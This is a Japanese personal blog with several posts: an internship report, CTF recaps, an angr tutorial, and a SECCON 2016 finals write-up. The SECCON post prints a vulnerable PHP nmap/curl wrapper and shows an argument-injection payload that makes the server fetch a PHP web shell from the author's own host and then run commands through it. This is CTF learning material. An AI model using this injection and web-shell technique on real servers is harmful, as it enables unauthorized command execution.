読者です 読者をやめる 読者になる 読者になる

ふるつき

記事と内容がないです

pixiv spring boot camp 2017 に参加してきた

言いたいこと

ブログのエントリを何度も書こうとして失敗したので、とりあえずこれだけわかってもらえばいいやというのを並べる。

  • pixiv のエンジニアさん、みんながみんな、さらっとすごすぎでは。圧倒的技術力を有しすぎでは……
  • pixiv の雰囲気良すぎでは。なんかのびのびとしているし、息のしやすさがすごいですね。
  • 新宿御苑とかいうの、ひとがいなくて朝の散歩には最高ですね。

pixiv spring boot camp 2017 に参加してきた

pixiv spring boot camp 2017 というものがありまして、 pixiv というサービスを運営している、 ピクシブ株式会社が行ってくれる、春のインターン行事です。10日間で10万円が出るタイプでした。

この spring boot camp に運良く参加できたので、そのことについて書きます。

参加まで

友人に教えてもらって応募しました。GitHub選考というGitHubのURLを投げるだけで選考してくれるスゴイ選考もあったんですが、私は自分のGitHubに自信がなかったので、普通の選考に応募しました。自分が情熱を注いできたものについて書け、みたいな感じの記述欄があって、「私はCTFを頑張ってきました。すごい頑張ってきました。PHPはなんか脆弱性作り込みやすいけど、御社ではめちゃPHP使ってるって聞いて気になってます!」とか書きました。探してみたら、自分がエントリーしたときの記述が残ってましたが、流石に恥ずかしくてここには上げません。

で、一次選考には通って、そのあとは skype 面接をやりました。15分くらいかな、普段やってる事とか、作ったものとかについて少しだけ話しました。とても緊張したし消耗した。

はい、それでなんかうまいことと通りました。やったー。

やったこと

 ハッカソンみたいな感じで、参加者 15名が4チームにわかれて、「世界に向けた創作活動が盛り上がるサービス」を作ろう、というテーマでサービス、アプリケーションを考えて作りました(もちろん、10日間しかないし、実装は実質 4日とかなので、完成したわけではなく、人に見せるための部分しか作っていなかったりしますが)。

 ここを詳細に書いても、読む方は面白くないと思うので省略しますが、どんなものを作ったらみんなが幸せになるのか、自分たちはどんなものを作りたいのかについて論ずるのは楽しかったし、苦しいものでした。メンターとして我々を導いてくれたAtomさんが「産みの苦しみを味わってますね」と仰ってましたが、なかなかしんどかった。

ぼくは成長したかな

 したというか、しないわけがないというか。レベルの高い人々ばかりの場所で(社員さんだけじゃなくて他のインターン参加者もハイレベルでした)10日間も過ごして、強くならないわけがないし、強くなりたいと思わないわけがない。あんな環境に10日間もいればね。そしてみんなで何かを作るという経験をすればね。

御苑はいいぞ

 住所を調べればわかると思うんですが、オフィスが新宿御苑の目と鼻の先にあって、こう、ちょっと御苑を散歩してから出社とかができます。新宿御苑は緑が一杯で人が少なくて最高の場所ということがわかったし、なんにちも通うことができました。年パスを買うべきですね。毎日通うべきですね。

pixiv はすごいって知らなかった

pixiv 運営してるだけだと思ってました。ごめんなさい。話を聞かせてもらうと、めっちゃ技術力で立ってるし、ちょっとはなしはそれるかもだけど、 pixivFANBOX とか(個人的に)最高のサービスに見えるし、めっちゃすごいですね。

そんなところにお世話になれたのはおよそ最高の経験です。 ありがとうございました。

おわり


いつでも書きたかったことを忘れるので追記します。

たとえば、僕はおよそ二週間、東京での生活をしていたわけですが、その間の生活費はだいたい 20000円くらいでした。宿泊費は向こうが持ってくれたり、お昼ごはんをごちそうになったりしたのでこの程度で済んでますのでありがたいことです。朝食はコンビニの菓子パンと野菜ジュースとかを食べて、夕飯は余裕があるときはインターン生で食べに行ったりしました。そういうときは 1000 円くらい使ったかな。

グラフにしてみた。

f:id:Furutsuki:20170320105050p:plain


忘れていたので書き足し。インターン途中で、会社説明会っぽいのがあり、18卒の人々かな? が参加していて、僕らも話を聞かせていただきました。会社説明会は面白かったし、社員さんすげぇ、社長すげぇってなったりしたのですが、感想として「スーツ着て就活したくない」がでてきました。スーツを着るかどうかが重要なのではなくて、「就活っぽい就活をしたくない」になるのですが、思考停止して「「「ありがとうございました」」」って言わないといけない存在のひとつでありたくはない、私はそうはなれないと感じました。それは年月を経て洗練された、賢くて礼を失しないやりかたなのかもしれませんが、私にとってはきっと苦痛だろうと想像できました。

これは大勢の中に埋もれた一人になりたくないというわけではなくて(むしろ多勢の中にいないと不安がある)、従わされている感じが嫌なのかなーなんて想像してみますが、結局は感情論で、説明できないし譲れないところのような気がします。

それだけ

サイバーコロッセオに参加した

ctf

今日は東京で サイバーコロッセオ に参加してきました。今回は insecure はお休みで、 Musashi というちーむで出ました。

MusashiとHarekazeの人々が集まっている中、誰の顔も補足できなかった僕は一人で会場入りしそうになり、泣きそうでした。

サイコロは King of the Hill 形式でしたが、今回も、SECCON本選に続いて、 jeopardy してました。

僕が解いたのは二問くらいで、 cat keyword1.txt すると 100pt が入る問題と、 nano keyword2.txt すると 100pt が入る問題です。

強いチームはガンガン点数を入れていて、まじかこれが力の差か……となりました。もっと解けるようになりたいし、 defense keyword が意味をなす程度には強くなりたいなと思いました。


流石に中身がなさすぎたので追記します。

会場では、ソードアート・オンラインの何かとの連携を意識して、ソードアート・オンラインのBGMが流れていたっぽいです。ソードアート・オンラインに明るくなかったので悔やまれます。

問題配布時に使われたUSBは持ち帰っていいと言われて、主体性を発揮してもらいました。唯一の収穫でした。

会場で回線がうまく提供されていなかったのは厳しかったです。難易度が高い。

会場のすぐ近くにミスタードーナツがあり最高でした。

WhiteHat WARGAME Writeup

ctf

Harekaze で WhiteHat WARGAME に出てました。 Challenge 01 と書いてあったけど本当に 01 かどうかはちょっとわからない。

Harekazeは 140pt で五位。日本勢では1番でした。CTF上位常連チームがBoston Key Partyあたりをやってたのが大きいと思います。

私は Crypto001 と Re001 を解いて、45ptを入れました。得点の殆どを st98 さんが入れててすごいなと思いました。

Re001

Faster.jar というファイルが渡されます。実行すると、ランダムな値がコンボボックスに追加されていくアプリケーションでした。次の値を予測して入力し、合ってたら何かしらがあるような感じでした。 jar なのでデコンパイルしたら、FLAGを生成する処理が見つかったのでそこだけ抜き出したらちゃんとフラグになりました。

import java.util.Stack;
class Main {
        Character[] ListChar;
        int[] ListPos;
        Stack<Double> ListRandomNumber;

        public Main() {
        this.ListChar = new Character[] { 'a', '_', 'y', 'l', '_', 'l', 'a', 'T', '_', 'T', '_', 'T', 'e', '_', 'y', 'e', 'r', '_', 'S', '_', '_', 'l', 'r', 'T', 'F', '_', 'Y', '_', 'l', 'e', 'T', 'T', 'T', 'a', 'r', 'T', 'u', 'A', 'o' };
        this.ListPos = new int[] { 11, 7, 14, 13, 26, 22, 4, 34, 15, 37, 3, 31, 19, 27, 23, 6, 18, 25, 30, 24, 17, 12, 9, 38, 28, 8, 0, 16, 21, 10, 32, 36, 33, 20, 5, 35, 2, 29, 1 };
        this.ListRandomNumber = new Stack<Double>();
        }

    public static void main(String[] args) {
        Main a = new Main();
        System.out.println(a.generateFlag());
    }

    public String generateFlag() {
        String flag = "";
        final Character[] tmpListChar = { '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0', '\0' };
        final int lenFlag = this.ListChar.length;
        for (int i = 0; i < lenFlag; ++i) {
            tmpListChar[this.ListPos[i]] = this.ListChar[i];
        }
        for (int i = 0; i < lenFlag; ++i) {
            flag = String.valueOf(flag) + tmpListChar[i];
        }
        return flag;
    }
}

Crypto001

ワンタイムパッドだけど何回も暗号化しちゃったといういくらでもみたことがあるような問題でした。渡されるのは↓

0e4f0c054e4a0c034d430c031454034f0106010019071149040b5941466c0d1141100c000859540a0a440f09124b
0b060901000b031540590a4f1a46000a071d44591b1d45414b161c4d4f220154430e080007455a482c54f41f4104
0e094f1d4f1f4f114d451c1f554f084f190702455409094c4b1c165b003b0c184c46010f12455409174546081302
0b0a0e164e4a090d534d59161053120a070a05595a4829491d0059484f3e45004f0208174a003c071545460a0e15
141b0e1d00021a0c465200435553120e0c4e024f1b040c5303360d4f596c0d014e011b174800071c0459460a0e08
13070a444d0b060c015411061b47461b1d0f10000d07100003040f4b00380a545203040b0942111a454f084c150f
21030e0300031c58016f170a2a740f021031344110370c53340b165a7f3c000646030a1a3b521d0f0d54590a0d06

解くのには↓のようなスクリプトを使いました。

import sys

a = open('cipher.txt').read().splitlines()
a = map(lambda x: x.decode('hex'), a)
l = len(a)

k = ""
pk = ""
while True:
    k = pk + str(raw_input(pk))

    for i in range(len(a)):
        r = map(lambda x: ord(x[0])^ ord(x[1]), zip(a[i%l], k))
        r = map(chr, r)
        print("".join(r))
    r = str(raw_input("OK?")).strip()
    if len(r) == 0:
        pk = k

適当に flag と打ってみたら、最後の行が Good になってたのであたりっぽかったので単語を予測していくと鍵は Good job! you found the key. Let find the flag ぽくて、 出てきた平文が

I can calculate the motion of heavenly bodies,
Life always offers you a second chance. It�s c
If you sleep on life all you will have are dre
Learn form yesterday. Live for today. Hope for
Stay hungry, stay foolishStay hungry, stay foo
The main thing that you have to remember on th
flag is: One_Time_Pad_is_not_perfect_right?fla

でした。


Re002 とか解きたかったんですが重たいバイナリを読むのが苦手で負けてしまいました……

部内でプロコンを開いた

競プロ

 部内でプロコンを開いたので振り返りも兼ねてまとめておく。

開いたのは、 JMC (Joken Marathonc Contest) で、86時間のマラソンマッチ。開こうと思った経緯から準備・開催中までを書く。

動機

 いままでも、Jokenがもっと高度な部活になればいいなと思って活動してきた。目標はKMCだったけど、まあそんなに高望みしないので、せめて、全員 FizzBuzz かける、それでもってなにか自分の好きなこと、得意なことをもっているみたいな組織があればなと思っていた。

 それでまあ Joken LT とか銘打って LT 大会をやったりしたし、 師匠が Joken CTF とか Joken Programming Contest とか開いてくれていた。これは三年生(ぼくら)がメインで参加していたけど、二年生とか、一年生も顔を出してくれた。まあつまり、こういう催事をなんどかやってきて、それなりの素地はあった(と思いたい)ということ(Joken LT は後輩へ引き継ぎたい=運営したくないって言って投げたけど、そのあとうまく開催されない)。

 それで今度は何やろうかと思ったときに、 Supercomputing Contest のことを思い出したというわけ。長い時間かけてやるコンテストは、”答え”がないので適当に組んでもそれなりに頑張った感じになるので好きだったり、SuperConで3位入賞したのでちょっと楽しい記憶があった。師匠にこれこれこういうコンテストやりたいかも、と喋ったのが去年の 10 月頃で、そのときはまあ問題を考えたりしてはゴミ箱に放り込んでた。予定では年末にやるとか師匠に宣言してたけど、実現はしなかった。

 年が明けた頃に、結局やらないの? と師匠に失望まじりに言われたので、これはやらねば、とおもって、今まで考えた問題の中で一番マトモなやつを引っ張り出してきて考えた。その問題は、 kosen14s でこんなの問題になりますか? と訊ねてうぃんじーくんに欠点を指摘してもらっていたので、そこを直した。

できたもの

 それで、作ったのが https://theoldmoon0602.tk:8800 のような問題(公開しておくので遊んでみてください。攻撃したいひとは事前にコンタクトしてください)。テスト期間を利用してつくったので、1週間くらいかかったとおもう。生PHPと、sqliteで問題サーバをつくって、スコアの算出は go で書いたバイナリに任せた。

 問題自体は、要するに n2-1パズルとかスライドパズルと言われるようなパズルで、魔方陣を作ろうぜ、という感じのパズル。各行各列と対角線でsumをとって、その分散を0に近づけたい(魔方陣なら0になるはず)、というもの。

 これを組み上げて、とりあえず kosen14s に投げた。Jokenでいきなりやってコケるのは怖かったので、遊んでくれませんんか、と。運悪く、久留米がそのタイミングでテストで、つよい競技プログラマに回答を提出してもらうとかはできなかったけど、みどりんごくんが遊んでくれて、「CSRF対策すれば」と言ってくれたのでしたりしました。

 それで、まあ、Jokenでもアナウンスして、レジだけならそこそこの人数(10人くらい)になりました。

開催

 師匠と、D氏(かれも三年生で、SuperConで一緒だったしつよい)が最初に遊んでくれました。僕はSlackの通知のためにURLを設定するのを忘れていて、慌ててURLを追加したりしました。

 事前に問題文だけ公開していたので、師匠はソルバを書いてたらしく、いくらか提出をしてきました。なんか師匠の試算したスコアとサーバの弾き出すスコアが違ったっぽいのですが、とりあえずぼくが間違えていたわけじゃなかったのでそれは安心。

 今回の問題では、最小は 10 * 10 のパズルで、100*100 とか 1000*1000 でやったんですが、 100 * 100 でも十二分に大きくなってしまったのでまあ 1000 * 1000 はいらなかったかなという感じでした。

 その後、師匠がいろいろ頑張って値を改善する時間が続きました。Joken唯一の四年生が、手で挑戦したりしてくれました。残念なことに、それ以外の人々がまったくといってよいほど参加してくれませんでした。その晩、三年生の kyumina が取り組もうとしてましたが、結局挫折したみたいでした。    前日の反省を受けて、翌日は、スコア計算プログラム(C++版)を Slack に流したり、10*10より小さいケースを幾つか追加したりしました。これはそれなりに人気で、最小のケースでは師匠がおよそ最適解と思われる解も叩き出してくれて一時だけ盛り上がりました。

 その日は、お昼過ぎにD氏がめっちゃ頑張って師匠を抜きました。僕も楽しくなってきて自分のソルバを試しましたが、D氏とどっこいくらいでした。その晩は、 kyumina 向けに、「乱択アルゴリズムを使うと楽ですよ」とかきました(僕の実装が乱択やきなましもどきだったので)。僕もビームサーチもどきに初挑戦しましたが、全然だめだったりしました。

 で、次の日は、もう殆ど安定してしまって、師匠がいくらか提出をしただけでした。さらに次の日、この日が最終日でしたが、このひもほとんど提出がなく、D氏が値を少しかいぜんして終わりました。

 その晩、 mi_24v という三年生が、終了一時間前になってコードを書き始めましたが、さすがに間に合わず、提出はありませんでした。

 それでおわり。結果はこんな感じでした。

f:id:Furutsuki:20170222112826p:plain

感想 反省

 レジるだけで参加してくれないひとが多かったので残念だなーと思いました。ハイスコアを狙うなら別ですが、ちょっと自分でソルバを書くだけならそんなに難しい問題ではないとおもったので(何しろ選択肢が殆ど無いので)、三年生でもソルバを書けたのが二人しかいないというのには失望しました。

 こちらとしても、もっとヒントをだしてもよかったな(例えば私のソルバを投げるなど)とか、もっと小さい入力でもよかったなとか、86時間は長いみたいだし24時間とかでもよかったなとか、いろいろ考えさせられました。経験としてはいいものになりましたが、楽しい記憶にはちょっと遠いかなという感じです。

今後、またこういうコンテストを開くかどうかわかりませんが、もうちょっと考えようなーとおもいました。

angrの練習をする

ctf

pip install angr しておく

#include <stdio.h>

int main() {
    char str[32];
    printf("HELLO\n>");
    scanf("%31s", str);

    int a = *(int *)str;
    int b = *(int *)(str + 4);

    if (a != 0x41414141) {
        printf("BAD...\n");
    }
    else if (a + 0x01010202 == b) {
        printf("CORRECT!\n");
    }
    else {
        printf("BAD...\n");
    }

}

これの CORRECT! を出させたい。

gcc hoge.c -o hoge -fno-pie -no-pie

objdumpなりで CORRECT が呼ばれるようなアドレスを探る。私の環境では 0x400614 だった。

import angr

p = angr.Project("hoge", load_options={'auto_load_libs': False})

r = p.surveyors.Explorer(find=0x400614).run()

import code
code.interact(local=locals())

このコードは思考停止でこういうものだって憶えるほうが楽そうだったのでそうした。

python solve.py とするとすぐにインタラクティブシェルが起動する。

>>> r.found[0].state.posix.dumps(0)
'AAAACCBB\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd9\xd1\xd9\xd9\xd9\xd9\xd9\xd9\xd9\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

この r...は本当に全然理解してないのでこういうものだということにしておく。

# ./hoge 
HELLO
>AAAACCBB
CORRECT!

#include <stdio.h>
#include <string.h>

int chk1(char*s) {
    if (strlen(s) != 8) {
        return 0;
    }

    int a =  *(int*)s;
    if (a != 0x41414142) {
        return 0;
    }

    return 1;
}

int chk2(char*name, char*pass) {
    int a = *(int*)pass;
    int b = *(int*)(pass+4);
    if (a+b == *(int*)(name+4)) {
        return 1;
    }

    return 0;
}

int main() {
    char str1[32];
    char str2[32];

    printf("HELLO\n>");
    scanf("%31s", str1);
    printf("\n>");
    scanf("%31s", str2);

    if (! chk1(str1)) {
        printf("BAD...\n");
    }
    else if (chk2(str1, str2)) {
        printf("CORRECT!\n");
    }
    else {
        printf("BAD...\n");
    }
}

ちょっとむずかしそうにした。おんなじようにコンパイルする。

今回はfindじゃなくてavoidを指定してみる。どっちも指定することももちろんできる。

import angr

p = angr.Project("hoge", load_options={'auto_load_libs': False})

r = p.surveyors.Explorer(avoid=(0x4006e0, 0x40070f)).run()
import code
code.interact(local=locals())

実行すると、きっとまた1path foundedかと思ったらdeadendが見つかった。

>>> r.deadended[0].state.posix.dumps(0)
'BAAAD\xc7\x92O\x00\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00gU\x19J\xddqy\x05\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
>>> r.deadended[0].state.posix.dumps(0).replace("\x01", "").split("\x00")
['BAAAD\xc7\x92O', '', 'gU\x19J\xddqy\x05', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '', '']

なんかそれっぽい値が残った。標準入力に与えられないので、

# printf 'BAAAD\xc7\x92O\ngU\x19J\xddqy\x05' | ./hoge
HELLO
>
>CORRECT!

いろいろ試行錯誤しながらやってると本質以外のところがコードを読みにくくしてくけど気にしないことにした。こんどは入力の一部がファイルから与えられて単純にangrできない。

#include <stdio.h>
#include <string.h>


int chk1(char*s) {
    if (s[0] != 't') {
        return 0;
    }
    int i;
    int xs[] = {-5, -28, 0, 28, 6};
    for (i = 0; i < 5; i++) {
        if (s[i]+s[i+1]-s[i+2]-s[i+3] != xs[i]) {
            return 0;
        }
    }

    return 1;
}

int chk2(char*u, char*p) {
    int a = *(int*)u;
    int b = *(int*)p;
    if ((a^b) != 806226176) {
        return 0;
    }

    a = *(int*)(u+4);
    b = *(int*)(p+4);
    if ((a^b) != 235539743) {
        return 0;
    }

    return 1;
}

int main() {
    char str1[32];
    char str2[32];

    FILE *fp = fopen("username.txt", "r");
    fscanf(fp, "%31s", str1);
    printf("PASSWORD\n>");
    scanf("%31s", str2);
    
    if (!chk1(str1)) {
        printf("BAD...\n");
    }
    else if (chk2(str1, str2)) {
        printf("CORRECT!\n");
    }
    else {
        printf("BAD...\n");
    }
}

chk1のところだけ切り出してみたところ takoyaki がstr1の要件を満たすところまでわかったとする(ほかにもstr1となる文字列はあるけど)。というわけでchk2を通過できるようなstr2だけを求めれば良い。というわけでchk1の呼び出しを飛ばして、chk2の直前から追いかけてみる。

gdbでchk2が呼ばれる直前までを実行してレジスタやスタックにどのような値が積まれているか確認する。

みたところ、スタックに入力が積まれ、rdi、rsiにstr1、str2のアドレスが入っている。angrでもそんな状態を作ってやる。

import angr

p = angr.Project("hoge", load_options={'auto_load_libs': False})

s = p.factory.blank_state(addr=0x4007f4)

str1 = s.se.BVV("takoyaki")
str2 = s.se.BVS("hogehoge", 32*8)

str1p = 0x7fffffffdfd0
str2p = 0x7fffffffd000

s.memory.store(str1p, str1)
s.memory.store(str2p, str2)

s.regs.rdi = str1p
s.regs.rsi = str2p

pg = p.factory.path_group(s, immutable=False)
pg.explore(find=0x00000000004007fd)

import code
code.interact(local=locals())

大幅に変わってしまった。まず、blank_state(addr)で、開始時のeipを指定してやる。その戻り値でいろいろやったものからほげるとできる。

BVVは固定値で、BVSはangrが変更することがある値(というか求めたい値)。これらをmemory.storeで適当な位置に埋め込んでやる。一応gdbの値をみて適当なところにおいたけどそんなにこだわらなくても良さそう。

アドレスをrdiとかrsiにも入れて、引数にする。

実行はそんなに重くない。

>>> pg.found[0].state.se.any_str(str2)
'the_flag\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

SECCON 2016 FINALに行ってきた

seccon

2017/1/28と2017/1/29にSECCON 2016 FINALに行ってきました。SECCON IoTでの優勝による学生枠での出場でしたが、500ptを獲得した我々insecureは全24チーム中20位、学生8チーム中では4位という悔しい結果に終わりました。500ptのうち300ptはptr-yudaiが獲得し、のこりの200ptは私が獲得したので、そのwrite upを書きます。

CVE-2016-10033(みたいななまえ)

jeopardyのweb問題でした。問題文は <サーバのIP>/FLAGhere とだけ書かれていて、そこにアクセスしようとするとForbiddenと言われました。とりあえず%00を末尾につけてみたり、POSTやPUTでアクセスしてみたりしましたがこれらはハズレでした。 こまったのでowasp-zapに投げると、なにやら/index.htmlというファイルが有ることがわかりました(普通はzapしなくてもわかる)。たいしたhtmlではなくて、コンテンツとしては “under construction” だけでしたが、すごく怪しい があって、href="css-selector.php?set=0"とかしていました。そこでcss-selector.phpにアクセスすると、main.cssとmain-test.cssへのリンクが表示されました。それから少し解析して`?set=0&css=hogePとするとhogeファイルを見られることがわかりました。最初は/etc/passwdとかを見ていたのですが、そんなことをするよりも css-selector.php の中身を見ることが大事でした。css-selector.php はこんな感じでした。

<?php
// by KeigoYAMAZAKI, 2017.01.23-
session_start();
if(! isset($_SESSION['css'])) {
  $_SESSION['css'] = './main.css';
}
if(isset($_GET['css'])) {
  $_SESSION['css'] = $_GET['css'];
}
if($_GET['set'] == '0') {
  header("Content-Type: text/css");
  echo file_get_contents($_SESSION['css']);
} elseif($_GET['menu'] == 'maintenance') {
  ?>
    <form action="?" method="GET">
    <input type="text" name="host" value="127.0.0.1">
    <input type="submit" name="tool" value="nmap">
    <input type="submit" name="tool" value="curl">
    </form>
  <?php
} elseif($_GET['tool'] == 'nmap') {
  $cmd = "/usr/bin/nmap -sV -n -P0 -p22,25,80,443 \"".$_GET['host']."\"";
  $cmd = escapeshellcmd($cmd);
  echo "<plaintext>cd ./writabletmp/; pwd; $cmd\n";
  system("cd ./writabletmp/; pwd; $cmd 2>&1");
} elseif($_GET['tool'] == 'curl') {
  $cmd = "/usr/bin/curl \"http://".$_GET['host']."\"";
  $cmd = escapeshellcmd($cmd);
  echo "<plaintext>cd ./writabletmp/; pwd; $cmd\n";
  system("cd ./writabletmp/; pwd; $cmd 2>&1");
} else {
  ?>
    <li><a href="?css=./main.css">main.css</a>
    <li><a href="?css=./main-test.css">main-test.css</a>
  <?php
}
?>

というわけで?menu=maintenanceとしてアクセスするとnmapかcurlを呼べることがわかりました。ここで詰まっていたのですが、師匠にはなしを振ったら、escapeshellcmdでは対のダブルクオーテーションはエスケープされないという脆弱性を見つけ出してきてくれました(これは私も気付ける話で、 http://blog.tokumaru.org/2012/04/php-escapeshellcmd-chase.html あたりを読んだことがありました)。これを利用して、 a" -o "/var/www/html/writabletmp/hoge.html とするとcurlしたファイルを保存できるところまでわかったので、自分のサーバに以下のようなtakoyaki.htmlを作って、これにアクセスさせ、takoyaki.phpとして保存させました。

<?php

system($_GET['takoyaki']);

これでコードの実行ができるようになったので、?takoyaki=cat FLAGhere/* みたいな感じにして SECCON{escapeshellcmd_CVE-2016-10033} を得ました。

これだけにものすごい時間を取られて:(

welcome

jeopardyのrev問題でした。バイナリ https://transfer.sh/8vc1x/welcome (このさいとを教えてくれた @nkpoid くんありがとう) を渡されて、問題文は

./welcome SECCON{*********}
LFU70EN3M7{WW{6LS}O0037I9VKUMSE{VI2C84ZO9UGW154QEYFLYGHN9C0VVR0V94PMD582Y{XTOIJ1CXTM{CJX8UO8}EIO1{UKR0PSL{{TNHJDCH9GW}F50K}N93_H56E{5M6P45WDOBZDOVM055N6M{2EZD}4L7{4U9V7NK3NV{}{NAAIE4Z5_}YK2TI0H7A5R6SR_2683W9}{NAQV2CPD86JQ3}4G18TPCSQT{5F6PQUWZZ3OYFMSRLPJY1MSP3SO{B13MX6Y}NNEIF30INFV2DUAACZ0IGTW{PPGCIJQYUELA18FUEWLJO6XRNE4RFRLNRI58MQDSG}C5GYZOO64322VTWIP81_8X7B7_TYTSE0O6AOTBIOPQQLTMKXV8TZFBRPBEXU5TVLM0JAH1BI0OHP}QO3CQILQE1YORJXLSXJE4T60_AKCJH05CCFT8LTPV{C3PB8LN8O_R1BNS{WDC6}{IB}3JQO6{}EG_}NP_QTTI070ZDUITGWY3A8VKDIH1AJSNYTX5AUOZ0S2N}Y}B18X2N_9GYFZH5YEW{2KE09_C90O74HFSY9OZB4X2XCUGCRWDSFW7LDSAOYM5HOAP_HLZ1HHYQFV{QYTJNUWW37E1JPA3Q8DXP457EJ4T2}BSV7RT{4JYMPCTJESJM6MP7I9{37LQ1G5ZZ_ETZRCR2TCDAIXWP_P3QT5026YMZCFSDRPT6N2P7}OBDTJWF2SQKQOZ9OTFTX05NIL3MJY64EN_KTBDWUI8RJDO{UWTA}NGWZ8MS2UHC}_MP18DITIWEG0QXERNQ10E4C7HIVFM{EC9K1TG806NG}E494EP5L656ZN_QCZP9GT8F{S_V47G2YSYBEPJ}XL4C8CDXG24URF}FA_EA_HZKLQ0HJXMF_6XTNZJLAGJY6__5OASMJX4Z_WZVSKQS2ENZB_929TR0G2TTSLNSG0{6B64{}9C9T0G4WK2OD06N{0AHI{Q8KII4Z7LOX5WIO2XWZYJNT_VBA1BF0UHE8BEPW4ZSGLY4_WSMVJGUHF82W6SPSW5RJY9{11QBFZSOJ3JXSW2B3Q}3Z}H4W08AJNZK}DQ}}

みたいな感じでした。何度か実行してみると、同じ引数を与えても出力が違うことがあり、師匠に聞くと中でtimeを使っている箇所があるとのことでした。言われて中身を覗きましたがよくわからなかったので、radare2とobjdumpとgdbを使って処理を追いかけ、3時間くらいかけてそれっぽいC言語ソースコードにしてみました。

#include <stdio.h>
#include <time.h>
#include <string.h>
#include <stdlib.h>

int main(int argc, char**argv) {
    int d = 0;
    char* s = "ABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789";
    int c = 0;
    char*buf;

    c = strlen(argv[1]);
    //while (c < strlen(argv[1])) {
    // a = argv[1][c];
    // esi = a;
    // c++;
    //}


    buf = (char*)malloc(strlen(argv[1]) << 5 + 1);
    c = 0;
    int i = 0;
    char *p;
    time_t t;
    int off;
    while (c < strlen(argv[1])) {
        i = 0;
        while (i <= 15) {
            t = (long)time(NULL);
            off = t % strlen(s);
            buf[d] = s[off];
            d++;
            i++;
        }
        buf[d] = argv[1][c];
        d++;
        i = 0;
        while (i <= 14) {
            t = (long)time(NULL);
            off = t % strlen(s);
            buf[d] = s[off];
            d++;
            i++;
        }
        c++;
    }
    buf[d] = 0;
    puts(buf);
}

しかしこれを実行しても welcome と同じ結果にはなりませんでした(welcomeをちゃんと解析した人がいたらどうなっていたのか教えてください)。こんな感じになります。

$ ./hoge SECCON{NOT_A_FLAG}
